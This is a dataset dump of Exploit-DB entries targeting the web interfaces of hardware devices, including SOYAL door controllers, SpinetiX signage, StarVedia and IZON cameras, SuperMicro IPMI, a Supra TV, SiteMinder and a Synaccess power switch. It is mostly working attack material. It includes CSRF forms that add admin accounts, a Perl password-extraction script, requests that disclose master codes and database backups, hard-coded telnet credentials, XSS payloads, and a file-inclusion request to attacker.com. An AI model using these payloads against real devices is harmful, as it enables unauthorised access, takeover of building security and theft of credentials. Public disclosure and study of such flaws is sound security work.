deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49676
Description: SOYAL Biometric Access Control System 5.0 - Master Code Disclosure
Type: webapps
Platform: hardware
Date: 2021-03-19
Author: LiquidWorm

Exploit:
# Exploit Title: SOYAL Biometric Access Control System 5.0 - Master Code Disclosure
# Date: 25.01.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.soyal.com.tw https://www.soyal.com

Vendor: SOYAL Technology Co., Ltd
Product web page: https://www.soyal.com.tw | https://www.soyal.com
Affected version: AR-727 i/CM - F/W: 5.0 
                  AR837E/EF   - F/W: 4.3
                  AR725Ev2    - F/W: 4.3 191231
                  AR331/725E  - F/W: 4.2
                  AR837E/EF   - F/W: 4.1
                  AR-727CM /i - F/W: 4.09
                  AR-727CM /i - F/W: 4.06
                  AR-837E     - F/W: 3.03

Summary: Soyal Access systems are built into Raytel Door Entry Systems
and are providing access and lift control to many buildings from public
and private apartment blocks to prestigious public buildings.

Desc: The controller suffers from a cleartext transmission of sensitive
information. This allows interception of the HTTP traffic and disclose
the Master code and the Arming code via a man-in-the-middle attack. An
attacker can obtain these codes to enter into the controller's Programming
mode and bypass physical security controls in place.

Tested on: SOYAL Technology WebServer 2.0
           SOYAL Serial Device Server 4.03A 
           SOYAL Serial Device Server 4.01n
           SOYAL Serial Device Server 3.07n


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5630
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5630.php


25.01.2021

--


$ curl 'http://192.168.1.1/CtrlParam.htm' \
       -H 'Authorization: Basic YWRtaW46' | \
       grep -ni -B1 'masterCode\|armCode'

<td><font face="Arial,Helvetica">Master Code (6 Digital) </font></td>
<td colspan="2"><input type=text name="masterCode" size=6 maxlength=6 value=123456></td></tr>
  <td>Arming Code (4 Digital) </td>
<td colspan="2"><input type=text name="armCode" size=4 maxlength=4 value=1234></td></tr>
Exploit-DB #48846
Description: SpinetiX Fusion Digital Signage 3.4.8 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: hardware
Date: 2020-10-01
Author: LiquidWorm

Exploit:
# Exploit Title: SpinetiX Fusion Digital Signage 3.4.8 - Cross-Site Request Forgery (Add Admin)
# Date: 2020-09-30
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.spinetix.com
# Version: <= 8.2.26

SpinetiX Fusion Digital Signage 3.4.8 CSRF Add Admin Exploit


Vendor: SpinetiX AG
Product web page: https://www.spinetix.com
Affected version: <= 3.4.8 (1.0.36274)

Summary: At SpinetiX we inspire businesses to unlock the potential of their story.
We believe in the power of digital signage as a dynamic new storytelling platform
to engage with people. For more than 13 years, we have been constantly innovating
to deliver cutting-edge digital signage solutions that help our customers shine.
Fusion is a built-in content management application accessible from a standard web
browser - it is pre-installed on every HMP200, HMP130, and HMP100 device, and does
not require any additional license, cost, or software installation.

Desc: The application interface allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. This can
be exploited to perform certain actions with administrative privileges if a logged-in
user visits a malicious web site.

Tested on: Apache 2.2.34
           PHP/5.3.18-2
           Linux 2.6.10


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5592
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5592.php


03.08.2020

--


<html>
  <body>
  <script>history.pushState('', '', '/index.php?r=settings/settings')</script>
    <form action="http://192.168.1.1/fusion/index.php?r=users/create" method="POST">
      <input type="hidden" name="User[username]" value="" />
      <input type="hidden" name="User[username]" value="ZSL" />
      <input type="hidden" name="User[new_password]" value="testingus" />
      <input type="hidden" name="User[repeat_password]" value="testingus" />
      <input type="hidden" name="User[userRoles]" value="Administrator" />
      <input type="submit" value="Forge!" />
    </form>
  </body>
</html>
Exploit-DB #48845
Description: SpinetiX Fusion Digital Signage 3.4.8 - Database Backup Disclosure
Type: webapps
Platform: hardware
Date: 2020-10-01
Author: LiquidWorm

Exploit:
# Exploit Title: SpinetiX Fusion Digital Signage 3.4.8 - Database Backup Disclosure
# Date: 2020-09-30
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.spinetix.com
# Version: <= 8.2.26

SpinetiX Fusion Digital Signage 3.4.8 Database Backup Disclosure


Vendor: SpinetiX AG
Product web page: https://www.spinetix.com
Affected version: <= 3.4.8 (1.0.36274)

Summary: At SpinetiX we inspire businesses to unlock the potential of their story.
We believe in the power of digital signage as a dynamic new storytelling platform
to engage with people. For more than 13 years, we have been constantly innovating
to deliver cutting-edge digital signage solutions that help our customers shine.
Fusion is a built-in content management application accessible from a standard web
browser - it is pre-installed on every HMP200, HMP130, and HMP100 device, and does
not require any additional license, cost, or software installation.

Desc: The application is vulnerable to unauthenticated database download and information
disclosure vulnerability. This can enable an attacker to disclose sensitive information
resulting in authentication bypass, session hijacking and full system control.

Tested on: Apache 2.2.34
           PHP/5.3.18-2
           Linux 2.6.10


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5593
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5593.php


03.08.2020

--


Request:
--------

GET /content/files/backups/ HTTP/1.0
Host: 192.168.1.1

Response:
---------

HTTP/1.1 200 OK
Date: Wed, 26 Aug 2020 15:57:40 GMT
Server: Apache/2.2.22 (Unix)
X-spinetix-firmware: 3.0.6-1.0.21932
X-raperca-version: 3.0.6-1.0.21912
X-spinetix-serial: 001d400027b8
X-spinetix-hw: BonsaiT
Content-Length: 636
Connection: close
Content-Type: text/html;charset=UTF-8


Index of /content/files/backups
Name                    Last modified      Size  Description
Parent Directory                           -   
Custom1337Name.7z       25-Aug-2020 10:06  1.0M  

Extracting the .7z shows userpwd.txt file, cat userpwd.txt:

admin:e10adc3949ba59abbe56e057f20f883e:file,program,activate,layout,playlist,model,slide,edit,admin::0
testingus:b874da212a62786181c66c5bbaabf425:file,program,activate,layout,playlist,model,slide,edit,admin:se:1
Exploit-DB #48847
Description: SpinetiX Fusion Digital Signage 3.4.8 - Username Enumeration
Type: webapps
Platform: hardware
Date: 2020-10-01
Author: LiquidWorm

Exploit:
# Exploit Title: SpinetiX Fusion Digital Signage 3.4.8 - Username Enumeration
# Date: 2020-09-30
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.spinetix.com
# Version: <= 8.2.26

SpinetiX Fusion Digital Signage 3.4.8 Username Enumeration Weakness


Vendor: SpinetiX AG
Product web page: https://www.spinetix.com
Affected version: <= 3.4.8 (1.0.36274)

Summary: At SpinetiX we inspire businesses to unlock the potential of their story.
We believe in the power of digital signage as a dynamic new storytelling platform
to engage with people. For more than 13 years, we have been constantly innovating
to deliver cutting-edge digital signage solutions that help our customers shine.
Fusion is a built-in content management application accessible from a standard web
browser - it is pre-installed on every HMP200, HMP130, and HMP100 device, and does
not require any additional license, cost, or software installation.

Desc: The weakness is caused due to the login script and how it verifies provided
credentials. Attacker can use this weakness to enumerate valid users on the affected
node.

Tested on: Apache 2.2.34
           PHP/5.3.18-2
           Linux 2.6.10


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5591
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5591.php


03.08.2020

--


POST /fusion/index.php?r=users/login HTTP/1.1
Host: 192.168.1.1

User[username]=NonExisting&User[password]=blah&User[rememberMe]=0&yt0.x=0&yt0.y=0

Response: Username is incorrect.
HTML: <div class="user_password login"><div class="errorLogin">Username is incorrect.</div>

---

POST /fusion/index.php?r=users/login HTTP/1.1
Host: 192.168.1.1

User[username]=admin&User[password]=blah&User[rememberMe]=0&yt0.x=0&yt0.y=0

Response: Password is incorrect.
HTML: <div class="user_password login"><div class="errorLogin">Password is incorrect.</div>
Exploit-DB #24864
Description: StarVedia IPCamera IC502w IC502w+ v020313 - 'Username'/Password Disclosure
Type: webapps
Platform: hardware
Date: 2013-03-22
Author: Todor Donev

Exploit:
#!/usr/bin/perl
#
#  [+] StarVedia IPCamera IC502w IC502w+ v020313 remote bypass username/password disclosure exploit
#  Author: Todor Donev
#  Email: todor.donev at gmail dot com
#  Type: Hardware
#
#  Thanks to Tsvetelina Emirska the best friend in my life 
#  and all my other friends for the help and support which 
#  gives me. Kind regards to all of you, who read my lil' 
#  exploits.
#  Bulgaria, Sofia
#  03.2013
#
#  Shodanhq r0x 4 teh lulz!!
#  http://www.youtube.com/watch?v=qNyN1AY-YZQ  Cheeerzz =))
#
#  Another bug, hint: you can edit this code and add some lines for remote change the password.
#####

use LWP::Simple;
if (@ARGV == 0) {&usg;}
while (@ARGV > 0) {
$type = shift(@ARGV);
$t = shift(@ARGV);
}
if ($type eq "-d") {
my $r = get("http://$t/cgi-bin/passwd.cgi?") or die(" $t: Not vulneruble, $!\n");
print " [+] StarVedia IPCamera IC502w IC502w+ v020313 remote bypass username/password disclosure exploit\n";
print " [!] Exploiting: $t\n";
if ($r =~ m/<INPUT type=text name=user size=20 maxlength=19 value="(.*)">/g) {
$result .= "   [o] User: $1\n";
}else{die(" Try another exploit, $!");}     
if ($r =~ m/<INPUT type=password name=passwd size=20 maxlength=19 value="(.*)">/g){
$result .= "   [o] Password: $1\n";
}else{die("Try another exploit or restart the exploit\n");}
sleep(1);
print " [\\m/] BINGO!!!\n\a".$result; 
}
sub usg(){
print " [!] usg: perl $0 [-r or -d] <victim:port>\n";
print " [!]  -d: disclosure password option\n";
print " [!] exp: perl $0 -d 127.0.0.1 :)\n";
exit;
}
Exploit-DB #29266
Description: Stem Innovation - 'IZON' Hard-Coded Credentials
Type: webapps
Platform: hardware
Date: 2013-10-29
Author: Mark Stanislav

Exploit:
Stem Innovation ‘IZON’ Hard-coded Credentials (CVE-2013-6236)
Mark Stanislav - mstanislav@duosecurity.com


I. DESCRIPTION
---------------------------------------
Stem Innovation's IP camera called ‘IZON’ utilizes numerous hard-coded credentials within its Linux distribution and also the hidden web application running on the camera. These sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the camera. Further, using the web interface credentials will provide access to a camera stream and configuration details, including third-party API keys.


II. TESTED VERSION
---------------------------------------
iOS Mobile Application: 1.0.5
Camera Firmware: 2.0.2


III. PoC EXPLOIT
---------------------------------------
1) Telnet Credentials
* "root" with a password of "stemroot"
* "admin" with a password of "/ADMIN/"
* "mg3500" with a password of "merlin"

2) HTTP Credentials (http://camera-ip/mobileye/)
* "user" with a password of "user"


IV. SOLUTION
---------------------------------------
Update to the latest firmware and hope for the best.


V. REFERENCES
---------------------------------------
https://blog.duosecurity.com/2013/10/izon-ip-camera-hardcoded-passwords-and-unencrypted-data-abound/
https://securityledger.com/2013/10/apple-store-favorite-izon-cameras-riddled-with-security-holes/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6236


VI. TIMELINE
---------------------------------------
09/06/2013 - Initial vendor contact stating I wanted to discuss a variety of security issues
09/06/2013 - Vendor’s help desk responded and asked for clarification about my request
09/06/2013 - Responded to the vendor’s help desk and reaffirmed my purpose for contact
09/16/2013 - Updated my existing help desk ticket after not hearing back in 10 days
09/19/2013 - Received a response back to contact their CEO directly about these issues
09/19/2013 - E-mailed the vendor’s CEO with synopsis details and severity ratings for the key issues
09/30/2013 - I opened up a new help desk ticket to follow-up after not hearing from their CEO after 11 days
10/01/2013 - The new case was updated saying that their CEO was aware of my email and would respond
10/03/2013 - I received a follow-up from their CTO with no specific details about plans to fix issues
10/03/2013 - Followed-up with the CTO to ask for specific details about the issues I had found
10/14/2013 - CTO responded asking to “meet” to discuss my findings but again offered no details
10/14/2013 - Offered up time ranges for the next day that were viable to discuss my findings
10/17/2013 - Public presentation of camera research which included these issues
10/28/2013 - Still no response from vendor on confirmation of fixes or a timeline to do so
Exploit-DB #48652
Description: SuperMicro IPMI 03.40 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: hardware
Date: 2020-07-08
Author: Metin Yunus Kandemir

Exploit:
# Exploit Title: SuperMicro IPMI 03.40 - Cross-Site Request Forgery (Add Admin)
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.supermicro.com/
# Software Link: https://www.supermicro.com/en/solutions/management-software/bmc-resources
# Version: X10DRH-iT motherboards with BIOS 2.0a and IPMI firmware 03.40
# CVE: CVE-2020-15046
# Source: https://www.totalpentest.com/post/supermicro-ipmi-webgui-cross-site-request-forgery

# Description:
# The web interface on Supermicro X10DRH-iT motherboards with BIOS 2.0a and
# IPMI firmware 03.40
# allows remote attackers to exploit a cgi/config_user.cgi CSRF issue to
add new admin users.
# The fixed versions are BIOS 3.2 and firmware 03.88.

# PoC :

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://SuperMicro-IP/cgi/config_user.cgi" method="POST">
      <input type="hidden" name="username" value="JOKER" />
      <input type="hidden" name="original&#95;username" value="2" />
      <input type="hidden" name="password" value="onebadday" />
      <input type="hidden" name="new&#95;privilege" value="4" />
      <input type="submit" value="submit request" />
    </form>
  </body>
</html>
Exploit-DB #48668
Description: SuperMicro IPMI WebInterface 03.40 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: hardware
Date: 2020-07-15
Author: Metin Yunus Kandemir

Exploit:
# Exploit Title: SuperMicro IPMI WebInterface 03.40 - Cross-Site Request Forgery (Add Admin)
# Exploit Author: Metin Yunus Kandemir
# Date: 2020-07-15
# Vendor Homepage: https://www.supermicro.com/
# Version: X10DRH-iT motherboards with BIOS 2.0a and IPMI firmware 03.40
# CVE: CVE-2020-15046
# Source: https://www.totalpentest.com/post/supermicro-ipmi-webgui-cross-site-request-forgery

# Description:
# The web interface on Supermicro X10DRH-iT motherboards with BIOS 2.0a and IPMI firmware 03.40
# allows remote attackers to exploit a cgi/config_user.cgi CSRF issue to add new admin users.
# The fixed versions are BIOS 3.2 and firmware 03.88.

# PoC :

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://SuperMicro-IP/cgi/config_user.cgi" method="POST">
<input type="hidden" name="username" value="JOKER" />
<input type="hidden" name="original&#95;username" value="2" />
<input type="hidden" name="password" value="onebadday" />
<input type="hidden" name="new&#95;privilege" value="4" />
<input type="submit" value="submit request" />
</form>
</body>
</html>
Exploit-DB #46971
Description: Supra Smart Cloud TV - 'openLiveURL()' Remote File Inclusion
Type: webapps
Platform: hardware
Date: 2019-06-06
Author: Dhiraj Mishra

Exploit:
Exploit Title: Remote file inclusion
# Date: 03-06-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://supra.ru
# Software Link: https://supra.ru/catalog/televizory/televizor_supra_stv_lc40lt0020f/
# CVE: CVE-2019-12477
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-12477
# https://www.inputzero.io/2019/06/hacking-smart-tv.html

Summary:
Supra Smart Cloud TV allows remote file inclusion in the openLiveURL
function, which allows a local attacker to broadcast fake video without any
authentication via a /remote/media_control?action=setUri&uri=URI

Technical Observation:
We are abusing `openLiveURL()` which allows a local attacker to broadcast
video on supra smart cloud TV. I found this vulnerability initially by
source code review and then by crawling the application and reading every
request helped me to trigger this vulnerability.

Vulnerable code:

     function openLiveTV(url)
      {
      $.get("/remote/media_control",
{m_action:'setUri',m_uri:url,m_type:'video/*'},
       function (data, textStatus){
       if("success"==textStatus){
        alert(textStatus);
       }else
       {
        alert(textStatus);
       }
      });
      }

Vulnerable request:

    GET /remote/media_control?action=setUri&uri=
http://attacker.com/fake_broadcast_message.m3u8 HTTP/1.1
    Host: 192.168.1.155
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0)
Gecko/20100101 Firefox/66.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1

To trigger the vulnerability you can send a crafted request to the URL,

http://192.168.1.155/remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8

Although the above mention URL takes (.m3u8) format based video. We can use
`curl -v -X GET` to send such request, typically this is an unauth remote
file inclusion. An attacker could broadcast any video without any
authentication, the worst case attacker could leverage this vulnerability
to broadcast a fake emergency message.
Exploit-DB #51530
Description: Symantec SiteMinder WebAgent v12.52 - Cross-site scripting (XSS)
Type: webapps
Platform: hardware
Date: 2023-06-19
Author: Harshit Joshi

Exploit:
Exploit Title: Symantec SiteMinder WebAgent v12.52 - Cross-site scripting (XSS)
Google Dork: N/A
Date: 18-06-2023
Exploit Author: Harshit Joshi
Vendor Homepage: https://community.broadcom.com/home
Software Link: https://www.broadcom.com/products/identity/siteminder
Version:  12.52
Tested on: Linux, Windows
CVE: CVE-2023-23956
Security Advisory: https://support.broadcom.com/external/content/SecurityAdvisories/0/22221

*Description:*
I am writing to report two XSS vulnerabilities (CVE-2023-23956) that I have
discovered in the  Symantec SiteMinder WebAgent. The vulnerability is
related to the improper handling of user input and has been assigned the
Common Weakness Enumeration (CWE) code CWE-79. The CVSSv3 score for this
vulnerability is 5.4.

Vulnerability Details:
---------------------
*Impact:*

This vulnerability allows an attacker to execute arbitrary JavaScript code
in the context of the affected application.

*Steps to Reproduce:*

*First:*

1) Visit -
https://domain.com/siteminderagent/forms/login.fcc?TYPE=xyz&REALMOID=123&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=-SM-%2F%22%20onfocus%3D%22alert%281%29%22%20autofocus%3D%22

2) After visiting the above URL, click on the "*Change Password*" button,
and the popup will appear.
- The *SMAGENTNAME *parameter is the source of this vulnerability.
*- Payload Used: **-SM-/" onfocus="alert(1)" autofocus="*

*Second:*

1) Visit -
https://domain.com/siteminderagent/forms/login.fcc?TYPE=123&TARGET=-SM-%2F%22%20onfocus%3D%22alert%281%29%22%20autofocus%3D%22
2) After visiting the above URL, click on the "*Change Password*" button,
and the popup will appear.
- The *TARGET *parameter is the source of this vulnerability.
*- Payload Used: **-SM-/" onfocus="alert(1)" autofocus="*
Exploit-DB #45894
Description: Synaccess netBooter NP-0801DU 7.4 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: hardware
Date: 2018-11-21
Author: LiquidWorm

Exploit:
# Title: Synaccess netBooter NP-0801DU 7.4 - Cross-Site Request Forgery (Add Admin)
# Author: Gjoko 'LiquidWorm' Krstic @zeroscience
# Exploit Date: 2018-11-17
# Vendor: Synaccess Networks Inc.
# Product web page: https://www.synaccess-net.com
# Affected version: NP-0801DU (HW6.0 BL1.5 FW7.23 WF7.4)
# Tested on: Synaccess server
# CVE: N/A
# Advisory ID: ZSL-2018-5501
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5501.php

# Desc: The application interface allows users to perform certain
# actions via HTTP requests without performing any validity checks
# to verify the requests. This can be exploited to perform certai
# actions with administrative privileges if a logged-in user visits
# a malicious web site.

<html>
  <body>
   <form action="http://10.0.0.19:8082/adm.htm" method="POST">
     <input type="hidden" name="add1" value="Nimda" />
     <input type="hidden" name="add2" value="123456" />
     <input type="hidden" name="add3" value="123456" />
     <input type="hidden" name="adm0" value="1" />
     <input type="submit" value="Gou" />
   </form>
  </body>
</html>